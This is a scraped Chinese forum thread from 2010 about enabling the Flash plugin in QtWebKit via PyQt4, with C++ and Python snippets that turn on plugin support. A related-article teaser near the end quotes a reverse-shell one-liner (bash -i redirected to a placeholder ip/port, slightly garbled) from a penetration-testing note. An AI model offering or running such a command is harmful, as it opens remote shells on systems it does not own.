社区
脚本语言
帖子详情
使用Python,怎么把Flash Plugin加到webkit中,而不依赖本地的Flash Plugin?
lxguidu
2010-03-11 12:39:42
怎么加载官方(adobe公司) flash plug 到 webkit?如果本机安装了FIRFOX,并且FIRFOX已经安装了 flash plug,那么 webkit 是可以调用FLASH的。现在的问题是不需依赖本地安装 firfox,用程序加载 flash plug,这要怎么实现呢?
...全文
396
4
打赏
收藏
使用Python,怎么把Flash Plugin加到webkit中,而不依赖本地的Flash Plugin?
怎么加载官方(adobe公司) flash plug 到 webkit?如果本机安装了FIRFOX,并且FIRFOX已经安装了 flash plug,那么 webkit 是可以调用FLASH的。现在的问题是不需依赖本地安装 firfox,用程序加载 flash plug,这要怎么实现呢?
复制链接
扫一扫
分享
转发到动态
举报
写回复
配置赞助广告
用AI写文章
4 条
回复
切换为时间正序
请发表友善的回复…
发表回复
打赏红包
notax
2010-03-12
打赏
举报
回复
就是用pyinstaller打包有点问题,上面的脚本要~40MB,太大了
lxguidu
2010-03-11
打赏
举报
回复
不知道这样实现行不行(个人感觉不是这样的),这是网上的代码:
m_webView = new QWebView(this);
m_webView->page()->mainFrame()->setScrollBarPolicy(Qt::Horizontal,Qt::ScrollBarAlwaysOff);
m_webView->page()->setLinkDelegationPolicy(QWebPage::DelegateAllLinks);
connect(m_webView,SIGNAL(linkClicked(QUrl)),this,SLOT(openLinkSlot(QUrl)));
m_webView->settings()->setAttribute(QWebSettings::PluginsEnabled, true);
m_webView->settings()->setAttribute(QWebSettings::JavascriptEnabled, true);
m_webView->settings()->setAttribute(QWebSettings::DeveloperExtrasEnabled, true);
m_webView->settings()->setAttribute(QWebSettings::JavascriptCanOpenWindows, true);
或者能不能直接拷贝Flash Plugin的dll库呢(Windows下,Linux下Flash Plugin的库的后缀应该是.so吧,这里为了简单一点,暂不考虑Linux平台)?
lxguidu
2010-03-11
打赏
举报
回复
[Quote=引用 1 楼 lxguidu 的回复:]
不知道这样实现行不行(个人感觉不是这样的),这是网上的代码:
m_webView = new QWebView(this);
m_webView->page()->mainFrame()->setScrollBarPolicy(Qt::Horizontal,Qt::ScrollBarAlwaysOff);
m_webView->page()->setLinkDelegationPolicy(QWebPage::DelegateAllLinks);
connect(m_webView,SIGNAL(linkClicked(QUrl)),this,SLOT(openLinkSlot(QUrl)));
m_webView->settings()->setAttribute(QWebSettings::PluginsEnabled, true);
m_webView->settings()->setAttribute(QWebSettings::JavascriptEnabled, true);
m_webView->settings()->setAttribute(QWebSettings::DeveloperExtrasEnabled, true);
m_webView->settings()->setAttribute(QWebSettings::JavascriptCanOpenWindows, true);
或者能不能直接拷贝Flash Plugin的dll库呢(Windows下,Linux下Flash Plugin的库的后缀应该是.so吧,这里为了简单一点,暂不考虑Linux平台)?
[/Quote]
找了很久,几乎都是C++的^_^!
notax
2010-03-11
打赏
举报
回复
[Quote=引用 1 楼 lxguidu 的回复:]
不知道这样实现行不行(个人感觉不是这样的),这是网上的代码:
m_webView = new QWebView(this);
m_webView->page()->mainFrame()->setScrollBarPolicy(Qt::Horizontal,Qt::ScrollBarAlwaysOff);
m_webView->page()->setLinkDelegationPolicy(QWebPage::DelegateAllLinks);
connect(m_webView,SIGNAL(linkClicked(QUrl)),this,SLOT(openLinkSlot(QUrl)));
m_webView->settings()->setAttribute(QWebSettings::PluginsEnabled, true);
m_webView->settings()->setAttribute(QWebSettings::JavascriptEnabled, true);
m_webView->settings()->setAttribute(QWebSettings::DeveloperExtrasEnabled, true);
m_webView->settings()->setAttribute(QWebSettings::JavascriptCanOpenWindows, true);
或者能不能直接拷贝Flash Plugin的dll库呢(Windows下,Linux下Flash Plugin的库的后缀应该是.so吧,这里为了简单一点,暂不考虑Linux平台)?
[/Quote]
这是C++ 的吧,C++要把QWebPage的QWebSettings::PluginsEnabled 设为 true
http://doc.trolltech.com/4.5/qtwebkit.html
python 的话要用
web.settings().setAttribute(QWebSettings.PluginsEnabled, True)
我在linux 上用pyqt 和flash 没问题, 速度也很快
import sys
from PyQt4.QtCore import *
from PyQt4.QtGui import *
from PyQt4.QtWebKit import *
app = QApplication(sys.argv)
web = QWebView()
web.settings().setAttribute(QWebSettings.PluginsEnabled, True)
web.load(QUrl("http://sports.sina.com.cn/"))
web.show()
sys.exit(app.exec_())
Qt QWebView实战工程:网页截图、
Flash
播放、Cookie提取与请求拦截全功能演示
一套开箱即用的Qt QWebView功能集成示例,支持网页加载与渲染、JavaScript双向通信、整页/区域截图(基于html2canvas)、本地
Flash
内容播放(含NPSWF32.dll适配)、浏览器Cookie读取与导出、HTTP请求拦截与过滤。工程采用
Python
+PyQt混合开发结构,包含编译后的资源模块data_rc.py、qrc资源定义文件data.qrc、多个测试HTML页面(JsSignals.html用于JS信号交互,tree.html用于DOM操作演示)及前端
依赖
库(jquery.
PyQt写的浏览单web页面的browser
本文介绍了一个
使用
PyQt编写的单页面浏览器的实现原理,包括基本的浏览器功能如前进、后退、停止和刷新,并详细讲解了如何为Qt的
Webkit
引擎开发自定义插件,以支持特定的MIME类型,如
Flash
。
OpenClaw零基础实战:一键部署+钉钉集成+API路由全指南
本文聚焦OpenClaw智能体框架的零门槛落地实践,详解计算巢一键部署(99.2%成功率)、Mac/WSL2/Ubuntu多系统本地安装、钉钉双向工作流接入(支持富媒体解析与卡片消息)、大模型API弹性路由配置(含免费公益站反向代理方案),并提供openclaw命令缺失、网页打不开、钉钉消息失败等高频问题的结构化排查方法,面向产品经理、运营及Agent初学者,强调环境隔离与服务化封装,规避源码编译
依赖
陷阱。
AI驱动的模块化建站流水线:零运维交付生产级静态网站
本文介绍了一套零运维、生产就绪的AI增强静态网站交付方案,核心是将AI嵌入模块化流水线:需求解析→骨架生成→内容填充→视觉调优→部署验证。全程基于免费Tier工具链(Ollama+Phi-3-mini、StarCoder2-3B、Vercel、Tailwind CSS),支持语义化HTML5、WCAG 2.1 AA可访问性、Lighthouse≥85分、自动HTTPS与CDN优化。强调
中
间产物可读可审,规避端到端生成风险,并提供SEO、表单、字体加载等高频问题的工程化解决方案。
kali渗透测试与教学笔记5:
可以参考我的CTF相关章节的命令注入 如: sudo bash -i >& /etc/tcp/ip/port 0>&1
脚本语言
37,739
社区成员
34,211
社区内容
发帖
与我相关
我的任务
脚本语言
JavaScript,VBScript,AngleScript,ActionScript,Shell,Perl,Ruby,Lua,Tcl,Scala,MaxScript 等脚本语言交流。
复制链接
扫一扫
分享
社区描述
JavaScript,VBScript,AngleScript,ActionScript,Shell,Perl,Ruby,Lua,Tcl,Scala,MaxScript 等脚本语言交流。
社区管理员
加入社区
获取链接或二维码
近7日
近30日
至今
加载中
查看更多榜单
试试用AI创作助手写篇文章吧
+ 用AI写文章